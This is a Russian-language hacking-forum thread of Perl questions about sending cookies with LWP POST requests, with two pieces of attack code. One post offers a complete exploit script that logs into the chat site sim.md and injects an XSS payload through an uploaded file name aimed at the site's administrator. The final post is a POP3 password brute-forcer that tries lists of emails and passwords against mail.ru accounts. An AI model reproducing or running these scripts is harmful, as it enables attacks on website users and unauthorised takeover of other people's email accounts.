? use LWP; use HTTP::Cookies; use strict; my $url='www.perl.com/login'; my $ua=LWP::UserAgent->new; my $cookie_jar=HTTP::Cookies->new; $ua->cookie_jar($cookie_jar); my $req=$ua->post($url, ['username' => 'ZET36', 'password' => 'justanotherperlhacker', ]); $cookie_jar->extract_cookies($req);
спасибо t00th но когда я пытаюсь вывести ответ то выводит скрипт запускал со своего компа , может я что не так сделал? Code: use LWP; use HTTP::Cookies; my $url='www.win.mail.ru/cgi-bin/auth'; my $ua=LWP::UserAgent->new; my $cookie_jar=HTTP::Cookies->new; $ua->cookie_jar($cookie_jar); my $req=$ua->post($url, [Login => 'login', Domain => 'mail.ru', Password => 'pass', Mpopl => '274219236']); $cookie_jar->extract_cookies($req); print $req->content; $F = <STDIN>; и я так не понял в какую переменную нужно прописывать куки (которые я хочу отправить с запросом) а сдесь помему приведён пример чтения куков после запроса
а вот в какую переменную прописывать куки ?( я хочу тправить пост запрос с куами . вот например) Code: POST http://mail.rambler.ru/script/auth.cgi HTTP/1.0 Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, */* Referer: http://www.rambler.ru/ Accept-Language: ru Content-Type: application/x-www-form-urlencoded Proxy-Connection: Keep-Alive User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; MRA 4.8 (build 01709)) Host: mail.rambler.ru Content-Length: 41 Pragma: no-cache Cookie: ruid=UH0LBmW3KkhuFgEAARCXgwB= domain=rambler.ru&url=7&login=zz&passw=zz куда ruid=UH0LBmW3KkhuFgEAARCXgwB= прописывать?
ZET36 Так они ж у тебя и так прописаны. Code: POST http://mail.rambler.ru/script/auth.cgi HTTP/1.0 Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, */* Referer: http://www.rambler.ru/ Accept-Language: ru Content-Type: application/x-www-form-urlencoded Proxy-Connection: Keep-Alive User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; MRA 4.8 (build 01709)) Host: mail.rambler.ru Content-Length: 41 Pragma: no-cache [B]Cookie: ruid=UH0LBmW3KkhuFgEAARCXgwB=[/B] domain=rambler.ru&url=7&login=zz&passw=zz
Solide Snake это запрос из навископа, я хочу отправить точно такой же запрос через перл, куда в скрипт мне прописывать куки я спрашивал
krypt3r хых прежде чем задать этот вопрос я гуглил и просмотрел кучу статей типо http://cylib.iit.nau.edu.ua/Books/Prog/Perl/ActivePerl_Help/site/lib/HTTP/Cookies.html но в английском я не очень силён, и при том не так хорошо знаю перл что бы разобраься в отрывках кода, поэтому и задал вопрос что бы посмотреть как это выглядит на примере
тоесть куки которые я хочу отправить с запросом должны быть записаны в файл Code: file => "файл с куками.txt" ?
biophreak конешно это не проблема , содержимое файла вывести в переменную массива очень легко, просто я поинтересовался правильно ли я понял содержимое скрипта
Кхмм.... когда то меня мучал этот же вопрос..... могу дать как пример.. на изучение один сплойт для чата "h t t p : / / s i m . m d" который я писал для себя, для тренеровок ... багу уже конечно прикрыли.. но я надеюсь что реализация всего этого ... будет кому то инересна.... хех.. а возможно для кого то станет хорошей тренировочной куклой PHP: #!/usr/bin/perl ######################################## ## Сoded by slider ## http://forum.antichat.ru ## _____________________ ## Victim: ## http://sim.md/ ######################################## use IO::Socket; use LWP::UserAgent; use HTTP::Cookies; #######_АВТОРИЗАЦИЯ_####### $a_login = 'Логин'; $a_pass = 'Пароль'; ######################### $victim = 'Администратор'; # НИК ЖЕРТВЫ $ploent = '<BODY ONLOAD=alert("XSS")>'; ######################### $ua = LWP::UserAgent->new; my $req = HTTP::Request->new(POST => 'http://sim.md/login.php'); my $cookie_jar = HTTP::Cookies->new; $ua->timeout(60); $ua->cookie_jar($cookie_jar); $req->content("login=$a_login&password=$a_pass&tochat=1"); $req->content_type('application/x-www-form-urlencoded'); $req->referer('http://sim.md/'); my $res = $ua->request($req); if ($res->status_line=~'302'==1) {print "[~] Auth: OK\n"}; $req = HTTP::Request->new(GET => 'http://sim.md/chat.php'); $req->header('Accept' => 'text/html'); $req->referer('http://sim.md/login.php'); $res = $ua->request($req); $cook = $cookie_jar->as_string; @res_arr = split(/\n/, $cook); $cookies = ''; foreach (@res_arr) {if (/^Set-Cookie3: ([^;]*);(.*)/){ $cookies = $1; chomp($cookies);}} $a=q(POST http://sim.md/records.php HTTP/1.0 Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, */* Referer: http://sim.md/records.php Accept-Language: ru Content-Type: multipart/form-data; boundary=---------------------------7d7186135506dc Proxy-Connection: Keep-Alive User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 1.1.4322) Host: sim.md Content-Length: 812 Pragma: no-cache Cookie: );$b=qq($cookies -----------------------------7d7186135506dc Content-Disposition: form-data; name="action" send -----------------------------7d7186135506dc Content-Disposition: form-data; name="name" $victim -----------------------------7d7186135506dc Content-Disposition: form-data; name="msg" -----------------------------7d7186135506dc Content-Disposition: form-data; name="file"; filename="$ploent" Content-Type: application/octet-stream -----------------------------7d7186135506dc Content-Disposition: form-data; name="forward" -----------------------------7d7186135506dc-- ); $pack=$a.$b; my $h_sock = new IO::Socket::INET (PeerAddr => "sim.md", PeerPort => '80', PeerProto => 'TCP' ) or die "[-] Exploit Failed"; print $h_sock $pack; print "[~] Success ...\n";
Извеняйте судари, это опять я и опять с ламерским вопросом)) как организовать задержку в цикле? в гугле везде натыкался на sleep Code: for ($i = 1; $i < 5; $i++) { print $i; sleep 3; } но в этом варианте через 15 секунд сразу выводит 12345 а мне нужно что бы через каждые 3 секунды выводило переменную $i
Здравствуйте! Заранее извиняюсь за (может быть) глупый вопрос! Почему данный скрипт на Локлке работает а на сервере нет??? Code: #!usr/bin/perl use Net::POP3; $Fpass = 'passwords.txt'; $Femails = 'emails.txt'; $finds = 0; open($emails, $Femails); while(<$emails>) { chompt; $email = $_; open($passwords, $Fpass); while(<$passwords>) { chompt; $pass = $_; $pop = Net::POP3->new('pop.mail.ru'); $pop = Net::POP3->new('pop.mail.ru', Timeout => 60); if($pop->login($email, $pass)>0) { print "Good PASSSSSSSSSSSSSSSSSSSSSSSSS\n". "[>]Email:".$email."\n". "[>]Password:".$pass."\n"; } else { print "[>]BAD Password:".$pass; } } $pop->quit; Close($passwords); } Close($emails); Ошибка: Code: Can't call method "login" on an undefined value at hello.pl line 29, <$passwords> line 1. П.С. Сильно не бейте я только учусь!